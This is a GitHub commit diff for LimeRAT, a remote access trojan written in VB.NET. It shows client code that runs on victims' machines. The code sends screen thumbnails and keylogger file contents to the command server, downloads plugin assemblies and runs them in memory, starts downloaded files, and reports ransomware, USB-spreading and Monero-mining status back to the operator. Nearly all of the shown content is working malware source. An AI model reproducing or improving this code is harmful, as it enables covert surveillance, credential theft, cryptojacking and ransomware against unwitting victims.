Skip to content
This repository was archived by the owner on Jun 25, 2019. It is now read-only.

Commit 4c1ef6d

Browse files
NyroticationNyrotication
committed
UPDATE v0.1.8.4
-First stable release -Update tcpclient class -Updated "Add to L1" -Fixed on connet -Fixed "L1 Update"
1 parent 6afbcae commit 4c1ef6d

31 files changed

+546
-335
lines changed

‎.vs/LimeRAT/DesignTimeBuild/.dtbcache‎

0 Bytes
Binary file not shown.

‎.vs/LimeRAT/v15/.suo‎

3 KB
Binary file not shown.

‎.vs/LimeRAT/v15/Server/sqlite3/storage.ide‎

8 KB
Binary file not shown.

‎.vs/LimeRAT/v15/Server/sqlite3/storage.ide-shm‎

0 Bytes
Binary file not shown.

‎.vs/LimeRAT/v15/Server/sqlite3/storage.ide-wal‎

0 Bytes
Binary file not shown.

‎Project/Client/C_Commands.vb‎

Lines changed: 24 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -11,14 +11,14 @@
1111
Try
1212
Select Case A(0)
1313

14-
Case "!PSend"
15-
C_Socket._start = True
16-
C_Socket.Send("!PStart")
14+
Case "!PSend" 'Ask client to run timer
15+
C_TcpClient.P_Start = True
16+
C_TcpClient.Send("!PStart")
1717

18-
Case "!P"
19-
C_Socket._stop = True
18+
Case "!P" 'Ask client to stop timer
19+
C_TcpClient.P_Stop = True
2020

21-
Case "!CAP"
21+
Case "!CAP" 'Thumbnail
2222
Try
2323
Dim bounds As Drawing.Rectangle = Windows.Forms.Screen.PrimaryScreen.Bounds
2424
Dim image As New Drawing.Bitmap(Windows.Forms.Screen.PrimaryScreen.Bounds.Width, bounds.Height, Drawing.Imaging.PixelFormat.Format16bppRgb555)
@@ -30,45 +30,49 @@
3030
Dim G As Drawing.Graphics = Drawing.Graphics.FromImage(THU)
3131
G.DrawImage(image, New Drawing.Rectangle(0, 0, 256, 156), New Drawing.Rectangle(0, 0, image.Width, image.Height), Drawing.GraphicsUnit.Pixel)
3232
THU.Save(MM, System.Drawing.Imaging.ImageFormat.Jpeg)
33-
C_Socket.Send("#CAP" & SPL & C_ID.Bot & SPL & Text.Encoding.Default.GetString(MM.ToArray))
34-
MM.Dispose()
35-
THU.Dispose()
36-
G.Dispose()
37-
image.Dispose()
33+
C_TcpClient.Send("#CAP" & SPL & C_ID.Bot & SPL & Text.Encoding.Default.GetString(MM.ToArray))
34+
Try
35+
MM.Dispose()
36+
THU.Dispose()
37+
G.Dispose()
38+
image.Dispose()
39+
Catch : End Try
3840
Catch ex As Exception
3941
End Try
4042

4143
Case "KL"
42-
C_Socket.Send("KL" + SPL + C_ID.HWID + SPL + IO.File.ReadAllText(IO.Path.GetTempPath + "\" + IO.Path.GetFileNameWithoutExtension(Windows.Forms.Application.ExecutablePath) + ".tmp"))
44+
C_TcpClient.Send("KL" + SPL + C_ID.HWID + SPL + IO.File.ReadAllText(IO.Path.GetTempPath + "\" + IO.Path.GetFileNameWithoutExtension(Windows.Forms.Application.ExecutablePath) + ".tmp"))
4345

44-
Case "CPL" 'check plugin
46+
Case "CPL" 'check if plugin in installed, or ask server to send it
4547
If GTV(A(1)) = Nothing Then
46-
C_Socket.Send("GPL" + SPL + A(1))
48+
C_TcpClient.Send("GPL" + SPL + A(1))
4749
Else
4850
Plugin(GZip(Convert.FromBase64String(GTV(A(1))), False))
4951
End If
5052

51-
Case "IPL" 'invo plugin
53+
Case "IPL" 'server send plugin. save it then load it
5254
STV(A(2), A(1))
5355
Plugin(GZip(Convert.FromBase64String(GTV(A(2))), False))
5456

55-
Case "IPLM"
57+
Case "IPLM" 'server send plugin. load it without saving it.
5658
Plugin(GZip(Convert.FromBase64String(A(1)), False), A(2))
5759
End Select
5860
Catch ex As Exception
59-
C_Socket.Send("MSG" + SPL + "Error! " + ex.Message)
61+
C_TcpClient.Send("MSG" + SPL + "Error! " + ex.Message)
6062
End Try
6163

6264
End Sub
6365

66+
'I can change this method with better one but I have to re-write plugins method name.
67+
'Also if you update this method you have to use old LimeRAT to update your clients.
6468
Public Shared Sub Plugin(ByVal B() As Byte, Optional CMD As String = Nothing)
6569
Try
66-
C_Socket.Send("OK")
70+
C_TcpClient.Send("OK" + SPL + C_ID.HWID + SPL + C_ID.UserName)
6771

6872
For Each Type_ As Type In AppDomain.CurrentDomain.Load(B).GetTypes
6973
For Each GM In Type_.GetMethods
7074
If GM.Name = "CN" Then
71-
GM.Invoke(Nothing, New Object() {C_Settings.HOST, C_Settings.PORT, C_Socket.ENDOF, C_Socket.SPL, C_Settings.EncryptionKey, C_Settings.fullpath, C_ID.HWID, C_ID.Bot, C_Encryption.AES_Decrypt(C_Settings.Pastebin)})
75+
GM.Invoke(Nothing, New Object() {C_Settings.HOST, C_Settings.PORT, C_TcpClient.ENDOF, C_TcpClient.SPL, C_Settings.EncryptionKey, C_Settings.fullpath, C_ID.HWID, C_ID.Bot, C_Encryption.AES_Decrypt(C_Settings.Pastebin)})
7276
ElseIf GM.Name = "MISC" Then
7377
GM.Invoke(Nothing, New Object() {C_ID.HWID, CMD})
7478
ElseIf GM.Name = "CL" Then
@@ -77,7 +81,7 @@
7781
Next
7882
Next
7983
Catch ex As Exception
80-
C_Socket.Send("MSG" + SPL + "Plugin Error! " + ex.Message)
84+
C_TcpClient.Send("MSG" + SPL + "Plugin Error! " + ex.Message)
8185
End Try
8286
End Sub
8387

‎Project/Client/C_Downloader.vb‎

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -18,6 +18,13 @@
1818
Diagnostics.Process.Start(file)
1919
End If
2020
End If
21+
22+
Try
23+
WC.Dispose()
24+
WC = Nothing
25+
Catch ex As Exception
26+
End Try
27+
2128
Catch ex As Exception
2229
C_Main.C.Send("MSG" + C_Main.SPL + "DWN Error! " + ex.Message) 'Maybe file is not FUD or link problem
2330
End Try

‎Project/Client/C_ID.vb‎

Lines changed: 15 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -169,13 +169,13 @@
169169
Dim retObjectCollection As Management.ManagementObjectCollection = searcher.Get
170170
For Each retObject As Management.ManagementObject In retObjectCollection
171171
If retObject("CommandLine").ToString.Contains("--donate-level=") Then
172-
Return "Minning"
172+
Return "Minning..."
173173
End If
174174
Next
175175
Catch ex As Exception
176176
End Try
177177
Else
178-
Return "Idle"
178+
Return CPU()
179179
End If
180180
Catch ex As Exception
181181
End Try
@@ -193,6 +193,19 @@
193193
End Try
194194
End Function
195195

196+
Public Shared Function CPU() As String
197+
Try
198+
Dim P As New Management.ManagementObject("Win32_Processor.deviceid=""CPU0""")
199+
P.Get()
200+
If P("Name").ToString.Contains("Intel") Then
201+
Return P("Name").ToString.Replace("(R)", "").Replace("Core(TM)", "").Replace("CPU", "")
202+
End If
203+
Return P("Name").ToString
204+
Catch ex As Exception
205+
Return "Err > Idle"
206+
End Try
207+
208+
End Function
196209
End Class
197210

198211
End Namespace

‎Project/Client/C_Main.vb‎

Lines changed: 13 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
'##################################################################
2-
'## N Y A N C A T ||| Updated on Sept/14/2018 ##
2+
'## N Y A N C A T ||| Updated on Sept/17/2018 ##
33
'##################################################################
44
'## ##
55
'## ##
@@ -36,7 +36,7 @@
3636
Namespace Lime
3737

3838
Public Class C_Main
39-
Public Shared C As New C_Socket
39+
Public Shared C As New C_TcpClient
4040
Public Shared SPL = C_Settings.SPL
4141

4242

@@ -66,7 +66,7 @@ Namespace Lime
6666

6767
Call C_Installation.INS()
6868

69-
C_Socket.T1.Start()
69+
C_TcpClient.T1.Start()
7070

7171
#Region "Plugins Threads"
7272

@@ -119,14 +119,14 @@ Namespace Lime
119119
While True
120120

121121
1:
122-
If C.CNT = True Then
122+
If C.Alive = True Then
123123
Threading.Thread.CurrentThread.Sleep(3000)
124124
'Compare old string with new string
125125

126126
Try
127127
If OldRans <> GTV("Rans-Status") Then
128128
OldRans = GTV("Rans-Status")
129-
C.Send("!R" & SPL & OldRans)
129+
C.Send("!R" & SPL & OldRans + SPL + C_ID.HWID + SPL + C_ID.UserName)
130130
End If
131131
Catch ex As Exception
132132

@@ -136,25 +136,25 @@ Namespace Lime
136136
If C_Settings.USB Then
137137
If OldUSB <> GTV("USB").ToString Then
138138
OldUSB = GTV("USB")
139-
C.Send("!SP" & SPL & OldUSB)
140-
End If
139+
C.Send("!SP" & SPL & OldUSB + SPL + C_ID.HWID + SPL + C_ID.UserName)
140+
End If
141141
End If
142142
Catch ex As Exception
143143
End Try
144144

145145
Try
146146
If OldXMR <> C_ID.XMR Then
147147
OldXMR = C_ID.XMR
148-
C.Send("!X" & SPL & OldXMR)
148+
C.Send("!X" & SPL & OldXMR + SPL + C_ID.HWID + SPL + C_ID.UserName)
149149
End If
150150
Catch ex As Exception
151151
End Try
152152

153153
Try
154154
If OldFLD <> GTV("Flood").ToString Then
155155
OldFLD = GTV("Flood")
156-
C.Send("MSG" & SPL & "Flood! " & OldFLD)
157-
OldFLD = ""
156+
C.Send("MSG" & SPL & "Flood! " & OldFLD + SPL + C_ID.HWID + SPL + C_ID.UserName)
157+
OldFLD = ""
158158
STV("Flood", "")
159159
End If
160160
Catch ex As Exception
@@ -172,7 +172,7 @@ Namespace Lime
172172
Try
173173
If GTV("_USB") = Nothing Then
174174
While True
175-
If C.CNT = True Then
175+
If C.Alive = True Then
176176
Threading.Thread.CurrentThread.Sleep(9000)
177177
C.Send("PLUSB")
178178
Exit While
@@ -191,7 +191,7 @@ Namespace Lime
191191
Try
192192
If GTV("_PIN") = Nothing Then
193193
While True
194-
If C.CNT = True Then
194+
If C.Alive = True Then
195195
Threading.Thread.CurrentThread.Sleep(11000)
196196
C.Send("PLPIN")
197197
Exit While
@@ -211,7 +211,7 @@ Namespace Lime
211211
Try
212212
If GTV("_KLG") = Nothing Then
213213
While True
214-
If C.CNT = True Then
214+
If C.Alive = True Then
215215
Threading.Thread.CurrentThread.Sleep(11000)
216216
C.Send("PLKLG")
217217
Exit While

‎Project/Client/C_Socket.vb‎

Lines changed: 0 additions & 135 deletions
This file was deleted.

0 commit comments

Comments
 (0)